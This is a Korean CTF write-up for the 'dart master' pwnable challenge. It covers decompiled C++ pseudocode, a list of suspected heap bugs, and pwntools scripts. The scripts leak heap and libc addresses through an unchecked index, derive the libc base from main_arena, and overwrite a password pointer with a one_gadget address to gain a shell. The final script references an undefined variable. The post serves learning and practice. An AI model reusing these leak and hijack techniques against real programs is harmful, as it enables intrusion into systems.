본문 바로가기

Pwnable

pwn | dart master write up

 

checksec 으로 확인한 보호기법
Partial RELRO 라 GOT Overwrite 가 가능
NX 켜져있어서 셸코드 실행 X
PIE가 켜져있어서 leak 필요
 
공격 방향
일단 PIE가 켜져있으니까 바이너리와 libc의 베이스 주소를 따기 위해 leak해야됨
 

 
정적분석을 먼저 해보자

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  void *v3; // rbx
  void *v4; // rbx
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  unsigned int (__fastcall ***v11)(void *, void *); // rbx
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  int v17; // [rsp+4h] [rbp-7Ch] BYREF
  void *v18; // [rsp+8h] [rbp-78h]
  void *v19; // [rsp+10h] [rbp-70h]
  __int64 v20; // [rsp+18h] [rbp-68h]
  char v21[32]; // [rsp+20h] [rbp-60h] BYREF
  char v22[40]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v23; // [rsp+68h] [rbp-18h]

  v23 = __readfsqword(0x28u);
  v17 = 0;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v21, a2, a3);
  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = (void *)operator new(0x28uLL);
  sub_1420(v3);
  v19 = v3;
  v4 = (void *)operator new(0x40uLL);
  sub_1A70(v4);
  v18 = v4;
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to Blackperl Dart Competition!");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Enjoy the game!\n\n");
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  if ( (*(unsigned int (__fastcall **)(void *, void *))(*(_QWORD *)v18 + 16LL))(v18, v19) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          v7 = std::operator<<<std::char_traits<char>>(&std::cout, "1. Login");
          std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
          v8 = std::operator<<<std::char_traits<char>>(&std::cout, "2. Generate ID");
          std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
          v9 = std::operator<<<std::char_traits<char>>(&std::cout, "3. Delete ID");
          std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
          v10 = std::operator<<<std::char_traits<char>>(&std::cout, "4. Exit");
          std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
          std::operator<<<std::char_traits<char>>(&std::cout, "> ");
          std::istream::operator>>(&std::cin, &v17);
          if ( v17 != 2 )
            break;
          if ( (*(unsigned int (__fastcall **)(void *, void *))(*(_QWORD *)v18 + 16LL))(v18, v19) )
          {
            v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Registeration success!\n");
            std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
          }
        }
        if ( v17 != 3 )
          break;
        std::operator<<<std::char_traits<char>>(&std::cout, "Which ID do you wanna delete? ");
        std::operator>><char>(&std::cin, v21);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v22, v21);
        v20 = sub_1558(v19, v22);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v22);
        if ( v20 )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "Please enter password : ");
          std::operator>><char>(&std::cin, v21);
          if ( !(unsigned int)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(
                                v21,
                                *(_QWORD *)(v20 + 8)) )
          {
            sub_1990(v19, v20);
            v20 = 0LL;
            v14 = std::operator<<<std::char_traits<char>>(&std::cout, "ID deleted");
            std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
          }
        }
        else
        {
          v13 = std::operator<<<std::char_traits<char>>(&std::cout, "There is no such account. ");
          std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
        }
      }
      if ( v17 != 1 )
        break;
      v11 = (unsigned int (__fastcall ***)(void *, void *))operator new(0x40uLL);
      sub_1A70(v11);
      v18 = v11;
      if ( (**v11)(v11, v19) )
      {
        if ( (*(unsigned int (__fastcall **)(void *, void *))(*(_QWORD *)v18 + 24LL))(v18, v19) != 3 )
          goto LABEL_19;
        operator delete(v18);
      }
    }
    operator delete(v19);
    v15 = std::operator<<<std::char_traits<char>>(&std::cout, "Byebye~");
    std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
  }
LABEL_19:
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v21);
  return 0LL;
}

유저에게  4가지 옵션을 제공한다.
로그인, ID 생성, ID 삭제, 종료 요 네 가지를 제공한다.
ID 생성 : 만약 사용자가 ID 생성을 선택하고 성공하면 "Registration success!"라는 메시지를 출력한다.
ID 삭제 : 사용자가 삭제하려는 ID를 입력하면 해당 ID가 존재하는지 sub_1558 함수를 통해 확인한다. ID가 존재하면 비밀번호를 요청하고, 비밀번호가 일치할 경우 sub_1990을 호출하여 ID를 삭제한 후 "ID deleted" 메시지를 출력한다. ID가 존재하지 않으면 "There is no such account."라는 메시지를 출력한다.
로그인 : 새로운 v11 객체를 생성하여 로그인에 사용되며, 로그인 후 *(v18 + 24LL)을 호출해 특정 조건을 확인한다. 조건에 따라 동작이 달라지지만, 조건이 맞지 않으면 다시 반복문으로 돌아오는 로직이다.
 
 

__int64 __fastcall sub_1420(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+14h] [rbp-4h]

  for ( i = 0; i <= 4; ++i )
  {
    result = a1;
    *(_QWORD *)(a1 + 8LL * i) = 0LL;
  }
  return result;
}


__int64 __fastcall sub_1A70(_QWORD *a1)
{
  __int64 result; // rax

  sub_1420(a1 + 1);
  *a1 = &`vtable for'CGame + 2;
  a1[6] = operator new(8uLL);
  *(_DWORD *)a1[6] = 0;
  result = a1[6];
  *(_DWORD *)(result + 4) = 0;
  return result;
}

__int64 __fastcall sub_1558(__int64 a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; *(_QWORD *)(a1 + 8LL * i) && i <= 4; ++i )
  {
    if ( !(unsigned int)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(
                          a2,
                          **(_QWORD **)(a1 + 8LL * i)) )
      return *(_QWORD *)(a1 + 8LL * i);
  }
  return 0LL;
}

__int64 __fastcall sub_1990(__int64 a1, void **a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 4 && *(void ***)(a1 + 8LL * i) != a2; ++i )
    ;
  if ( i == 5 )
    return 0LL;
  while ( *(_QWORD *)(a1 + 8LL * (i + 1)) && i <= 3 )
  {
    *(_QWORD *)(a1 + 8LL * i) = *(_QWORD *)(a1 + 8LL * (i + 1));
    ++i;
  }
  if ( *(_QWORD *)(a1 + 8LL * i) )
    *(_QWORD *)(a1 + 8LL * i) = 0LL;
  operator delete(*a2);
  operator delete(a2[1]);
  operator delete(a2);
  return 1LL;
}
__int64 __fastcall sub_15CE(__int64 a1)
{
  __int64 v1; // rbx
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rbx
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rbx
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rbx
  __int64 v18; // rax
  __int64 v19; // rax
  unsigned int v20; // ebx
  __int64 v21; // rax
  __int64 v22; // rax
  __int64 v23; // rax
  __int64 v24; // rax
  unsigned int i; // [rsp+10h] [rbp-20h] BYREF
  int v26; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v27; // [rsp+18h] [rbp-18h]

  v27 = __readfsqword(0x28u);
  for ( i = 0; *(_QWORD *)(a1 + 8LL * (int)i); ++i )
  {
    v1 = **(_QWORD **)(a1 + 8LL * (int)i);
    v2 = std::ostream::operator<<(&std::cout, i);
    v3 = std::operator<<<std::char_traits<char>>(v2, &unk_3CD8);
    v4 = std::operator<<<std::char_traits<char>>(v3, v1);
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  if ( (int)i <= 1 )
  {
    v5 = std::operator<<<std::char_traits<char>>(&std::cout, "There is no other account.");
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    return 0LL;
  }
  std::operator<<<std::char_traits<char>>(&std::cout, "Which one do you wanna see? ");
  std::istream::operator>>(&std::cin, &i);
  if ( *(_QWORD *)(a1 + 8LL * (int)i) )
  {
    v7 = std::operator<<<std::char_traits<char>>(&std::cout, "1. Card ID");
    std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    v8 = std::operator<<<std::char_traits<char>>(&std::cout, "2. ID");
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
    v9 = std::operator<<<std::char_traits<char>>(&std::cout, "3. Information");
    std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    v10 = std::operator<<<std::char_traits<char>>(&std::cout, "4. Number of victories");
    std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
    std::operator<<<std::char_traits<char>>(&std::cout, "> ");
    std::istream::operator>>(&std::cin, &v26);
    if ( v26 == 2 )
    {
      v14 = **(_QWORD **)(a1 + 8LL * (int)i);
      v15 = std::operator<<<std::char_traits<char>>(&std::cout, "ID : ");
      v16 = std::operator<<<std::char_traits<char>>(v15, v14);
      return std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
    }
    if ( v26 > 2 )
    {
      if ( v26 == 3 )
      {
        v17 = *(_QWORD *)(a1 + 8LL * (int)i) + 16LL;
        v18 = std::operator<<<std::char_traits<char>>(&std::cout, "Information : ");
        v19 = std::operator<<<std::char_traits<char>>(v18, v17);
        return std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
      }
      if ( v26 == 4 )
      {
        v20 = *(_DWORD *)(*(_QWORD *)(a1 + 8LL * (int)i) + 120LL);
        v21 = std::operator<<<std::char_traits<char>>(&std::cout, "Number of victories : ");
        v22 = std::ostream::operator<<(v21, v20);
        return std::ostream::operator<<(v22, &std::endl<char,std::char_traits<char>>);
      }
    }
    else if ( v26 == 1 )
    {
      v11 = *(_QWORD *)(a1 + 8LL * (int)i);
      v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Card ID : ");
      v13 = std::ostream::operator<<(v12, v11);
      return std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
    }
    v23 = std::operator<<<std::char_traits<char>>(&std::cout, "There is no such information.");
    std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
    return 0LL;
  }
  else
  {
    v24 = std::operator<<<std::char_traits<char>>(&std::cout, "There is no such account.");
    std::ostream::operator<<(v24, &std::endl<char,std::char_traits<char>>);
    return 0LL;
  }
}

 
sub_1420: 5개의 포인터를 0으로 초기화.
sub_1A70: 가상 테이블 설정 및 멤버 변수를 초기화해 객체를 생성.
sub_1558: ID 리스트에서 특정 ID를 검색하여 해당 ID의 포인터를 반환.
sub_1990: ID 리스트에서 주어진 ID를 찾아 삭제하고 메모리를 해제.
sub_15CE: ID 리스트에서 특정 ID의 정보를 출력하는 함수.
 
 
정적분석으로 볼 때 터질 수 있는 취약점 생각해보기

Use-After-Free 취약점
sub_1990 함수에서 특정 ID를 삭제한 후, a1 배열의 항목들을 앞으로 이동시키고 빈 공간을 0으로 채우는 동작이 있다. 그러나 sub_1990 호출 후 이 메모리를 다른 곳에서 사용하려 할 때 이미 삭제된 메모리를 참조할 수 있기 땜에 uaf가 터질 것 같아 보인다.

더블 프리취약점
sub_1990 함수에서 a2와 관련된 메모리를 operator delete로 메모리를 해제하는 부분에서, 세 번 해제하는 부분이 있다. (operator delete(a2[0]), operator delete(a2[1]), operator delete(a2))
잘못된 메모리 주소가 들어있는 경우 두 번 이상 해제될 수가 있어서 더블 프리 취약점이 발생할 수 있어 보인다.

bof
sub_1558랑 sub_1990 함수에서 for 루프가 배열 범위(최대 5개 항목) 밖으로 나가는 것을 방지하지 않고 있다. 배열의 범위를 초과하면 다른 메모리 영역을 덮어쓸 수 있다.
(ex. sub_1558에서 계정 수가 5개 이상일 때 루프를 수행하며 오버플로우가 터질수도....)

메모리  leak
sub_15CE 함수에서 Which one do you wanna see?라는 입력에 대해 사용자가 직접 입력한 값을 검증 없이 메모리 주소에 접근할 수 있어서... 여기서 메모리  leak이 가능할듯?

 vtable 하이재킹(vtable hijacking) 
sub_1A70에서 가상 테이블 포인터를 직접 설정하고 있는데, 이는 vtable 하이재킹(vtable hijacking) 공격에 취약하다고 함... 이건 몰라서 찾아보는 중
-> Forged Vtable to Hijack Control Flow - CTF Wiki EN

 

Forged Vtable to Hijack Control Flow - CTF Wiki EN

假造vtable hijack program flow Introduction Earlier we introduced the file stream feature (FILE) in Linux. We can see that some common IO operation functions in Linux need to be processed through the FILE structure. In particular, there is a vtable in th

ctf-wiki.mahaloz.re

c++ - How to hack the virtual table? - Stack Overflow

 

How to hack the virtual table?

I would like to know how to change the address of Test which is in the virtual table with that of HackedVTable. void HackedVtable() { cout << "Hacked V-Table" << endl; } ...

stackoverflow.com

가상 함수 테이블

 

가상 함수 테이블

현재 내컴퓨너틑 64비트이다. 64비트에서 포인터의 크기는 8바이트임.: cat의 크기는 animal 클래스의 dAnimal 의 사이즈도 포함한 값이다. virtual 키워드 사용메모리 프로세스로 나타내면 이와 같다.\->

velog.io

C++ 리버싱을 위한 vtable 분석

 

C++ 리버싱을 위한 vtable 분석

C++ 리버싱은 C 리버싱과는 많이 다르기 때문에 항상 난항을 겪는다. C와는 다른 대표적인 C++ 특징 중 하나가 가상 함수 테이블인 vtable이 있는데 이 vtable 중 하나의 함수를 후킹하는 경우도 있기

liveyourit.tistory.com

 
vtable c++ 배울 때 개념 숙지한 것 같은데 기억이 안 나서 다시 공부...
Vtable Hijacking : 가상 함수 테이블(vtable)을 조작해서 프로그램의 제어 흐름을 변경하는 취약점 공격 기법
 
Vtable 특징
가상 함수: C++에서 virtual 키워드로 선언된 함수는 런타임에 결정된다.
Vtable: 각 클래스는 가상 함수들의 주소를 저장하는 테이블(vtable)을 가지고 있다. 객체가 가상 함수를 호출할 때, 이 테이블을 참조하여 해당 함수의 주소를 찾아 호출한다
Vptr: 각 객체는 자신의 클래스의 vtable을 가리키는 포인터(vptr)를 가지고 있다.
 
Vtable Hijacking 공격 과정:
bof나 use-after-free(UAF)를 터지게 해서 객체의 vptr(vtable 포인터)을 덮어씀 -> fake vtable 삽입(조작된 가짜 vtable을 메모리에 생성 || 이미 존재하는 메모리 영역을 이용하여 원하는 함수나 코드의 주소를 포함시키기 -> control flow 변경: 프로그램이 가상 함수를 호출할 때 조작된 vtable을 참조하게 되어, 의도한 명령 실행
 +) 그냥 vtable overwrite 로 키워드 돌려서 찾아보기 

 

 

 

 
타이밍 공격
sub_1558의 std::string::compare를 사용해 ID를 검색할 때, 비밀번호 비교 방식에서 일반적인 문자열 비교를 수행하기 때문에 문자열 비교 중 시간 차이를 악용할 수 있다고한다.
 
 
 
 

 
Which one do you wanna see?라는 입력에 대해 사용자가 직접 입력한 값을 검증 없이 메모리 주소에 접근할 수 있었다. 
a1은 C++에서 this 포인터에 해당하는 매개변수로, 객체의 메모리 주소를 가리킨다. 이 함수는 해당 객체의 멤버 변수와 vtable 포인터를 초기화하는 역할을 한다.
a1 = &vtable for'CGame + 2;:
*a1은 객체의 첫 번째 메모리 위치를 가리키며, 여기에 CGame 클래스의 vtable 주소가 저장된다.
a1[6] = operator new(8uLL);:
a1[6]은 객체에서 6번째 멤버 변수에 해당하며, new 연산자를 통해 8바이트 크기의 메모리를 동적으로 할당한다.
create 하고 See others information을 봐서 Card ID를 보면 메모리 주소 leak!
 

 

Antelcat/ida_copilot: ChatGPT Agent analyses your IDA pseudocode

 

GitHub - Antelcat/ida_copilot: ChatGPT Agent analyses your IDA pseudocode

ChatGPT Agent analyses your IDA pseudocode. Contribute to Antelcat/ida_copilot development by creating an account on GitHub.

github.com

담엔 이거 함 써볼까....
 
 

 

 


+)


vtable overwrite를 통해 객체의 vtable 포인터를 조작하면, 가상 함수 호출 시 임의의 함수나 쉘 코드로 흐름을 이동시킬 수 있다고 한다. 

Virtual Table(Vtable), Overwrite :: s0ngsari

Neil's Computer Blog: Attacking V-Table Pointers

Instance Replacement: Exploiting C++ VTABLES

Attacking V-Table Pointers – A1Logic – Data Breach Prevention

ㄴ이게 뭔 기법인지, 어떻게 활용하는지 찾아볼 때 도움이 많이 된 자료다.

vtable을 덮어쓰기 위해, 릭한 주소로 베이스를 구해봐야겠다. 그리고 manage 함수에서 password를 변경 할 수 있으니까 여기를 통해 vtable의 가상 함수 테이블을 덮어쓰는 페이로드를 전송하면 될 것 같다. 패스워드를 저장하는 위치를 vtable 포인터의 위치로 덮어씌울 수 있도록 만들어야겠다. vtable 포인터를 system 함수 호출로 유도시키면 될 것 같다고 생각했다. 

UAF 취약점도 뚜렷하게 보여서 이걸 좀 써먹을 수 있을 것 같다. 멤버 생성하고 삭제할 때 uaf 취약점이 터질 때

조작된 vtable이 존재하는 메모리 영역을 참조하도록 해서.. 덮어쓴 vtable 포인터를 써서 시스템을 호출하도록 해봐야겠다. 


 

leak


p.recvuntil('> ')

p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
libc_ptr_addr = addr0 + 0x1320
print('libc_addr : ' + str((libc_ptr_addr - list_addr) // 8))
p.sendline(str((libc_ptr_addr - list_addr) // 8))
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')
libc_addr = int(p.recvuntil('\n')[:-1], 0)

libc_base = libc_addr - 0x3c4b78

libc base를 구하기 위해서 릭해주었다. 

 

처음에 넣은 계정의 heap 주소가 leak이 됐다.

또 해당 위치에 값이 있으면 출력을 할 수 있다.

 

계정을 만든 후 계정을 한번 delete 하게 되면 main_arena의 주소를 얻을 수 있다.

main_arena는 malloc_state 구조체를 사용하는 변수인데 이 구조체를 이용해서 chunk들을 관리한다.

이 main_arena의 주소로 libc_base의 주소를 구할 수 있다.

첫번째 계정의 ID를 알려주는 fastbin이다.

 

0x3c4b78이 옾셋이다. 


이전주차에 알게 되었던 공식으로도 베이스를 함 뽑아봤다. 

unsorted bin은 small bin 이나 large bin 이 free() 되었을 시 들어가게 되는 bin인데, 만약, fastbin 을 선언하지 않고, 
바로 small bin 이나 large bin을 선언하면 unsorted bin 의 fd,bk 는 main_arena + 88 이 들어가게 된다.
libc = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00")) - (0x3c4b20 + 88)

바로 립씨를 main_arena+88 로 뽑기!!


너무 짧아서 안되나 싶어

 
이렇게 했는데도 안 된다. 

raw_data = p.recvuntil('\n')[:-1]
print('Raw data:', repr(raw_data)) 
libc_base = int(raw_data, 16) - (0x3c4b20 + 88)

왜인지 알기 위해 raw data 를 뽑아줬다!

 
숫자가 아니라 문자열이었네... 

libc_base = int(p.recvuntil('\n')[:-1], 16) - (0x3c4b20 + 88)

 

leak된 것을 볼 수 있다!
 

from pwn import *
p = process('./dartmaster_s')

# a create
p.recvuntil('Enter your ID : ')
p.sendline('a')
p.recvuntil('Enter password : ')
p.sendline('a')
p.recvuntil('Confirm password : ')
p.sendline('a')
p.recvuntil('Enter information : ')
p.sendline('a')

# b create
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('b')
p.recvuntil('Enter password : ')
p.sendline('b')
p.recvuntil('Confirm password : ')
p.sendline('b')
p.recvuntil('Enter information : ')
p.sendline('b')

# c create && delete
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('c')
p.recvuntil('Enter password : ')
p.sendline('c')
p.recvuntil('Confirm password : ')
p.sendline('c')
p.recvuntil('Enter information : ')
p.sendline('c')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Which ID do you wanna delete?')
p.sendline('c')
p.recvuntil('Please enter password : ')
p.sendline('c')

# a login
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter your ID : ')
p.sendline('a')
p.recvuntil('Enter password : ')
p.sendline('a')

# Leak
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
p.sendline('0')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')
addr0 = int(p.recvuntil('\n')[:-1], 0)
print('card id :' +hex(addr0))
list_addr = addr0 - 0xa0

p.recvuntil('> ')

p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
libc_ptr_addr = addr0 + 0x1320
print(hex(libc_ptr_addr))
print('libc_addr: ' + str((libc_ptr_addr - list_addr) // 8))
p.sendline(str((libc_ptr_addr - list_addr) // 8))
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')

libc_base = int(p.recvuntil('\n')[:-1], 16) - (0x3c4b20 + 88)


print( 'libc :' + hex(libc_base))
gdb.attach(p)
pause()

 

system 옾셋은 0x453a0이다. 

 

 

 

 

 

 

fake vtable의 경우에는 fd처럼 system을 도배하면 안된다. 예를들어 puts를 호출할 경우 xsputn은 그 값을 그대로 유지를 시켜주어야만 정상적으로 셸을 얻을 수 있다.
[출처] 22. FSOP (File Stream Oriented Programming)|작성자 JSec

ctf-wiki-en/docs/pwn/linux/io_file/fake-vtable-exploit.md at master · mahaloz/ctf-wiki-en

 

ctf-wiki-en/docs/pwn/linux/io_file/fake-vtable-exploit.md at master · mahaloz/ctf-wiki-en

A full English version of the popular ctf-wiki. Contribute to mahaloz/ctf-wiki-en development by creating an account on GitHub.

github.com

 

 

[Pwn] Docker파일 주어진 경우 Heap 분석 환경셋팅 — Squirrel Hack

 

[Pwn] Docker파일 주어진 경우 Heap 분석 환경셋팅

최근 Pwnable 문제를 풀면서 부딪힌 Error에 관해 해결방법을 찾아 정리한 글로 잘못된 부분이 있다면 댓글로 알려주시기 바랍니다. Heap 분석을 위한 플러그인 포너블 문제를 하다보면 stack과 heap을

skysquirrel.tistory.com

heap 구조를 좀 더 자세히 보고 싶어서 플러그인 없나 찾아봤는데... 폰디버거 환경 세팅할 때 우분투 16.04라서 구버전 태그 따오고 이것저것 구겨넣고 구축한 환경이라 pwndbg랑 peda랑 전부 호환되지 않아서...계속 저렇게 에러가 나서 gdb를 사용할 수 없었다. 스냅샷 안 떠둬서 복구하느라 힘들었다.

+)
 또 갑자기 문제를 풀고있던 우분투가 guest session 으로만 로그인 되어서... 유저 변경이 안 되고 게스트에선 루트로 넘어갈수가 없어서 며칠 애를 쓰다가 결국 위를 해결하고 떠뒀던 스냅샷으로 돌려버렸다. 

저번에 드림핵 fho 풀 때 도커파일에서 환경 구성할 때 헤맸어서 그냥 이미지파일 받아서 환경구축했는데 담엔 문제 환경 구성에 익숙하지 않아도 도커파일을 쓰거나 알려주신 pwninit으로 패치를 시키고 풀어야겠다. 

 

 

 

from pwn import *
p = process('./dartmaster_s')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

p.recvuntil('Enter your ID : ')
p.sendline('a')
p.recvuntil('Enter password : ')
p.sendline('a')
p.recvuntil('Confirm password : ')
p.sendline('a')
p.recvuntil('Enter information : ')
p.sendline('a')


p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('b')
p.recvuntil('Enter password : ')
p.sendline('b')
p.recvuntil('Confirm password : ')
p.sendline('b')
p.recvuntil('Enter information : ')
p.sendline('b')


p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('c')
p.recvuntil('Enter password : ')
p.sendline('c')
p.recvuntil('Confirm password : ')
p.sendline('c')
p.recvuntil('Enter information : ')
p.sendline('c')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('delete?')
p.sendline('c')
p.recvuntil('Please enter password : ')
p.sendline('c')


p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter your ID : ')
p.sendline('a')
p.recvuntil('Enter password : ')
p.sendline('a')


p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
p.sendline('0')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')
addr0 = int(p.recvuntil('\n')[:-1], 0)
print('card id :' +hex(addr0))
list_addr = addr0 - 0xa0

p.recvuntil('> ')

p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
libc_ptr_addr = addr0 + 0x1320
print('libc_addr : ' + str((libc_ptr_addr - list_addr) // 8))
p.sendline(str((libc_ptr_addr - list_addr) // 8))
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')
libc_addr = int(p.recvuntil('\n')[:-1], 0)
gdb.attach(p)
pause()
libc_base = libc_addr - 0x3c4b78
print(hex(libc_ptr_addr))
print('libc_address : ' + hex(libc_addr))
print( 'libc_base : ' + hex(libc_base))


p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
pass_ptr_addr = addr0 + 8
print(str((pass_ptr_addr - list_addr) // 8))
p.sendline(str((pass_ptr_addr - list_addr) // 8))
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Card ID : ')
pass_addr = int(p.recvuntil('\n')[:-1], 0)
print('passwd : ' + hex(pass_addr))

p.recvuntil('> ')


p.sendline('1')
p.recvuntil('Enter new password : ')


print( 'base_leak : ' + hex(base_leak))
oneshot = libc_base + +0xf03a4 #0x4527a #0xf1247
#p.sendline(p64(libc_base + 0x453a0)+#####) 
p.sendline(p64(oneshot))
p.recvuntil('> ')
p.sendline('5')
gdb.attach(p)
pause()